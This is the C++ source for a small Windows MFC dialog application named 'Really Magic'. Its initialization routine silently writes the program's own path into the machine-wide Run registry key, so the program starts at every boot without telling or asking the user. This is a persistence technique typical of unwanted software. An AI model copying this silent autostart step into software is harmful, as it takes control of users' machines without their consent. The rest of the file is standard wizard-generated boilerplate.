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// ya.cpp : Defines the class behaviors for the application.
//
#include "stdafx.h"
#include "ya.h"
#include "yaDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CYaApp
BEGIN_MESSAGE_MAP(CYaApp, CWinApp)
//{{AFX_MSG_MAP(CYaApp)
// NOTE - the ClassWizard will add and remove mapping macros here.
// DO NOT EDIT what you see in these blocks of generated code!
//}}AFX_MSG
ON_COMMAND(ID_HELP, CWinApp::OnHelp)
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CYaApp construction
CYaApp::CYaApp()
{
// TODO: add construction code here,
// Place all significant initialization in InitInstance
}
/////////////////////////////////////////////////////////////////////////////
// The one and only CYaApp object
CYaApp theApp;
/////////////////////////////////////////////////////////////////////////////
// CYaApp initialization
BOOL CYaApp::InitInstance()
{
// Standard initialization
// If you are not using these features and wish to reduce the size
// of your final executable, you should remove from the following
// the specific initialization routines you do not need.
#ifdef _AFXDLL
Enable3dControls(); // Call this when using MFC in a shared DLL
#else
Enable3dControlsStatic(); // Call this when linking to MFC statically
#endif
////////////////////regedit
char drive[_MAX_DRIVE];
char dir[_MAX_DIR];
char fname[_MAX_FNAME];
char ext[_MAX_EXT];
_splitpath(__argv[0],drive,dir,fname,ext);
CString path(drive);
path+=dir;
path+="ya.exe";
TCHAR m_path[MAX_PATH];
wsprintf(m_path,path);
HKEY hkey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\Currentversion\\Run",0,KEY_WRITE,&hkey);
RegSetValueEx(hkey,"ReallyMagic",0,REG_SZ,(LPBYTE)m_path,lstrlen(m_path)+1);
RegCloseKey(hkey);
SetRegistryKey(_T("Really Magic"));
LoadStdProfileSettings(20);
/////////////////////
CWinApp* pApp = AfxGetApp();
CYaDlg dlg;
m_pMainWnd = &dlg;
int nResponse = dlg.DoModal();
if (nResponse == IDOK)
{
// TODO: Place code here to handle when the dialog is
// dismissed with OK
}
else if (nResponse == IDCANCEL)
{
// TODO: Place code here to handle when the dialog is
// dis
missed with Cancel
}
// Since the dialog has been closed, return FALSE so that we exit the
// application, rather than start the application's message pump.
return FALSE;
}